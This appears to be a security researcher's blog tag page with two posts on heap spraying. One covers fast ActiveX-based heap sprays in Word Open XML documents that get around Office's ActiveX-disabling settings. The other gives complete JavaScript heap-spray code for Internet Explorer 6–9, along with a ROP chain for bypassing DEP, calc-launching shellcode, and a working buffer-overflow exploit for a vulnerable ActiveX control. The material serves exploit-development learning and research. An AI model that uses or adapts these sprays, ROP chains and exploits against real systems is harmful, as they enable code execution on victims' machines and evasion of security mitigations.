heapspray

All posts tagged heapspray

Recently I’ve been researching into ActiveX controls in Office documents as I had some ideas I wanted to test out after reading Dominic Wang’s paper “Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability” [1] and Haifei Li’s and Bing Sun’s presentation slides “Attacking Interoperability: An OLE Edition” [2].

Some vulnerabilities that have been exploited in the past (CVE-2013-3906, CVE-2015-2424, CVE-2015-1641) have been embedding ActiveX controls to perform the heap spray whether be in Open XML format or encapsulated in RTF format. During my tests it was obvious that spraying the heap just took ages, waiting sometimes minutes before triggering the vulnerability. The exploits I examined either used one large ActiveX1.bin file or multiple ActiveX[x].bin files. This post just shows how we can spray the heap in seconds rather than minutes, mainly working with MS Word documents on a fully patched Windows 7 32bit with Office Professional 2010 with Open XML formatted files.

Office Open XML structure
I started looking into an Open XML formatted document which is basically a zip archive so just by renaming the extension to a zip we can extract, make changes to the files and zip it up again.  Running the tree command in the extracted folder of a simple Word document we see the files listed below which contains one ActiveX object.

|   [Content_Types].xml
|
+---docProps
|       app.xml
|       core.xml
|
+---word
|   |   document.xml
|   |   fontTable.xml
|   |   settings.xml
|   |   styles.xml
|   |   stylesWithEffects.xml
|   |   webSettings.xml
|   |
|   +---activeX
|   |   |   activeX1.bin
|   |   |   activeX1.xml
|   |   |
|   |   \---_rels
|   |           activeX1.xml.rels
|   |
|   +---media
|   |       image1.wmf
|   |
|   +---theme
|   |       theme1.xml
|   |
|   \---_rels
|           document.xml.rels
|
\---_rels
        .rels

activeX1.bin is our Compound Document Format file which would contain our sprayed data and activeX1.xml would contain our classid to be used. When adding or removing ActiveX objects manually there are 5 files you’ll need to update

[Content_Types].xml   – contains entries pointing to individual activeX[x].xml entries
document.xml                – contains ids which refer activex[x].xml files set in document.xml.rels
document.xml.rels        – contains individual image[x].wmf and activeX[x].xml entries, unique rIds
activeX[x].xml               – Calls classIDs in each activeX[x].xml files
activeX[x].xml.rels       – Points to individual activeX[x].bin files
activeX[x].bin                – Compound File Binary Format

Here we could modify activeX[x].xml.rels to point to the same ActiveX1.bin compound document file as normally Office creates multiple unique activeX[x].bin files. This would reduce our total file size, save some seconds at spray time and just easy to manage.

Compound File Binary Format
Using Microsoft’s Office Visualization Tool (OffVis) we can deconstruct the compound document file activeX1.bin in order to understand its structure and values. The Microsoft specifications document [3] explains everything you need to know about the format.

A compound file is a structure for storing a file system, similar to a simplified FAT file system inside a single file, by dividing the single file into sectors. It is capable of storing data that is structured as storage and streams.

Viewing our activeX1.bin file which is this case the classid is instantiating Flash. Here in the OLESSDirectoryEntry[0] section we could null out the values of the clsidThis field as when the document is opened the classid is read from our ActiveX[x].xml file. Another entry we could null out is the ModifyTime field values. One important field is Object Type. This field MUST be 0x00, 0x01, 0x02, or 0x05, depending on the actual type of object.

Unknown or unallocated   0x00
Storage Object                     0x01
Stream Object                      0x02
Root Storage Object           0x05

Non-root directory entries are normally marked as either stream or storage elements. So leaving OLESSDirectoryEntry[0] entry alone as Type 5 the other directory entries OLESSDirectoryEntry[1] OLESSDirectoryEntry[2] and OLESSDirectoryEntry[3] we could be changed to Type 0. Once Type changed to 0 the Data entry in OffVis dissappears, also SizeLow field values can then also be nulled. The SizeLow and SizeHigh fields represent the stream size (8 bytes). This 64-bit integer field contains the size of the user-defined data, if this is a stream object. For a root storage object, this field contains the size of the mini stream.

The benefit of these changes is that we can remove any unwanted data at the end and just have an ActiveX1.bin file of only 2048 bytes. As for nulling out clsidThis and ModifyTime fields just removes any reference to the classid or time modified. If we wanted to say encapsulate our sprayed data we could change the Type object value to 2 and SizeLow value as you can see below but not really necessary so no need to complicate stuff. when it comes to the spraying our data I noticed all we need to do is just append our sprayed data to our 2048 bytes compound file without making any further changes. This is enough to load it in memory.

Class IDs to use
Now the question comes to what classIDs do we use for our heap spray? ClassIDs are set in the ActiveX[x].xml files where then the associated libraries loads. After experimenting with different classids I realised any classID could be used, depending on what classID is being called affects the performance drastically.

For example exploits CVE-2013-3906 or CVE-2015-1641 used classID {1EFB6596-857C-11D1-B16A-00C0F0283628} (MSComctlLib.TabStrip.2).  This refers to library C:\Windows\system32\MSCOMCTL.OCX which is 1,070,232 bytes in size. This library is huge so the amount of time to spray accumulates on how many chunks being sprayed. So if I used a classID which referred to a library of a small file size the spray time reduced drastically. Taking it a step further, it was discovered that using a non-existing classID could be used such as {00000000-0000-0000-0000-000000000001}. Since this classID does not exist on the system there would be no referring library to load so in theory would further reduce the spray time. During tests this proved to be the case and heap spraying was successful and the time was further reduced.

The activeX[x].xml file would normally look like this

<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<ax:ocx ax:classid='{00000000-0000-0000-0000-000000000001}'
ax:persistence='persistStorage' r:id='rId1'
xmlns:ax='http://schemas.microsoft.com/office/2006/activeX'
xmlns:r='http://schemas.openxmlformats.org/officeDocument/2006/relationships'/>

Heap Spraying times
To get an idea of what kind of times we are dealing with, MetaSploit’s TIFF Integer Overflow exploit [4] was used which uses ActiveX to spray the heap with 591 chunks using the classid {1EFB6596-857C-11D1-B16A-00C0F0283628} referring to MSCOMCTL.OCX library. To spray the heap it took around 1 minute 10 seconds. Now replacing the classid with {00000000-0000-0000-0000-000000000001} it took only around 6 seconds which is a huge difference.

The table below shows the times it takes to spray, memory addresses sprayed upto and memory allocated based on the number of chunks. These figures will vary but it just gives you an idea.

The size of the activeX1.bin file used on Office 2010 32bit was 514KB which takes a chunk size of 0x81000 (528384 bytes) in memory.

526,336 bytes = 2048 (header) + 1024 (block size) * 512 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x16450000 300 mb
1000 10 seconds 0x28DD0000 575 mb
2000 20 seconds 0x4D3A0000 1.1 gb
4000 * 58 seconds 0x7FEB0000 2 gb

* This high number of chunks might not work and document will not properly open.

The size of the activeX1.bin file used on Office 2010 64bit was 1026KB which takes a chunk size of 0x101000 (1052672 bytes) in memory.

1,050,624 bytes = 2048 (header) + 1024 (block size) * 1024 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x0000000027dc0000 583 mb
1000 12 seconds 0x000000004a2f0000 1.1 gb
2000 27 seconds 0x000000008f450000 2.1 gb
4000 120 seconds 0x0000000117910000 4 gb

Memory allocated on Windows 7 32bit with Office 2010 32bit

Memory allocated on Windows 7 64bit with Office 2010 64bit

Mitigation
Spraying the heap using classids that do not exist on the system prevents a number of mitigations. So disabling ActiveX controls in Microsoft Office via the Trust Center settings or via Office kill bit in the registry are ineffective. Only using Microsoft EMET’s heap spray mitigation would provide some protection.

Summary
To get the fastest spray possible the main points to take away is

1. Use one ActiveX1.bin compound document file
2. Use a smaller ActiveX1.bin file with more xmls calling it
3. Use a classID that doesn’t exist on the system

All my Word document spray files and perl scripts you can download from here. When creating your own documents with the scripts just extract a existing document and overwrite with the files created by the scripts.

References
[1] https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives
[2] https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf [PDF]
[3] https://msdn.microsoft.com/en-gb/library/dd942138.aspx
[4] https://www.rapid7.com/db/modules/exploit/windows/fileformat/mswin_tiff_overflow

Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6.  (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other 🙂 as the following unescapes are fine)

<SCRIPT language="JavaScript"> 
 var calc, chunk_size, headersize, nopsled, nopsled_len;
 var heap_chunks, i;
  calc = escape("%ucccc%ucccc");
  chunk_size = 0x40000;
  headersize = 0x24;
  nopsled = escape("%u0c0c%u0c0c");
  nopsled_len = chunk_size - (headersize + calc.length);
  while (nopsled.length < nopsled_len)
     nopsled += nopsled;
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (i = 0 ; i < 1000 ; i++)
     heap_chunks[i] = nopsled + calc;
</SCRIPT>

From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique

for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to

nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]

Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).

<SCRIPT language="JavaScript"> 
 function padnum(n, numdigits)
 {
   n = n.toString();
   var pnum = '';
   if (numdigits > n.length)
   {
     for (z = 0; z < (numdigits - n.length); z++)
      pnum += '0';
   }
   return pnum + n.toString();
 }
 var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
 var heap_chunks, i, codewithnum;
//        
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
//
 rop = unescape(
 "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
 "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
 "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
 "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
 "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
 "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
 "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
 "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
 "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
 "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
 "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
 "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
 "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
 "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
 "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
 "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
 calc = unescape(
 "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
 "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
 "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
 "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
 "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
 "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
 "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
 "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
 "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
 "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
 "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
 "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
 "%q6c61%q2e63%q7865%q0065");
//
 chunk_size = 0x40000;
 headersize = 0x24;
 nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
 nopsled_len = chunk_size - (headersize + rop.length + calc.length);
 while (nopsled.length < nopsled_len)
    nopsled += nopsled;
 nopsled = nopsled.substring(0, nopsled_len);
 code = nopsled + rop + calc;                             
 heap_chunks = new Array();
 for (i = 0 ; i < 1000 ; i++)
 {
    codewithnum = padnum(i,4) + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
 }
</SCRIPT>

Here are two images from the top and bottom of one of the chunks.

One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.

Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.

<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc">
</OBJECT>
<SCRIPT language="JavaScript"> 
   var buffer = "";
   for (i = 0; i < 215; i++) buffer += unescape("%41")
   buffer += unescape("%23%62%37%7c")   // 0x7c376223 POP EAX # RETN
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%08%08%08%08")   // fill return address
   buffer += unescape("%a9%13%34%7c")   // XCHG EAX,ESP # MOV EAX,DWORD
                                        // PTR DS:[EAX] #PUSH EAX #RETN
   buffer += unescape("%24%62%37%7c")   // 0x7c376224 RETN
   for (i = 0; i < 20; i++) buffer += unescape("%43")
   poc.GetHistory(buffer);
</SCRIPT>

This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up.

This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.

References:

http://secunia.com/advisories/26566/
http://www.vantagelinguistics.com/answerworks/release/
http://technet.microsoft.com/en-us/security/bulletin/MS07-069
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/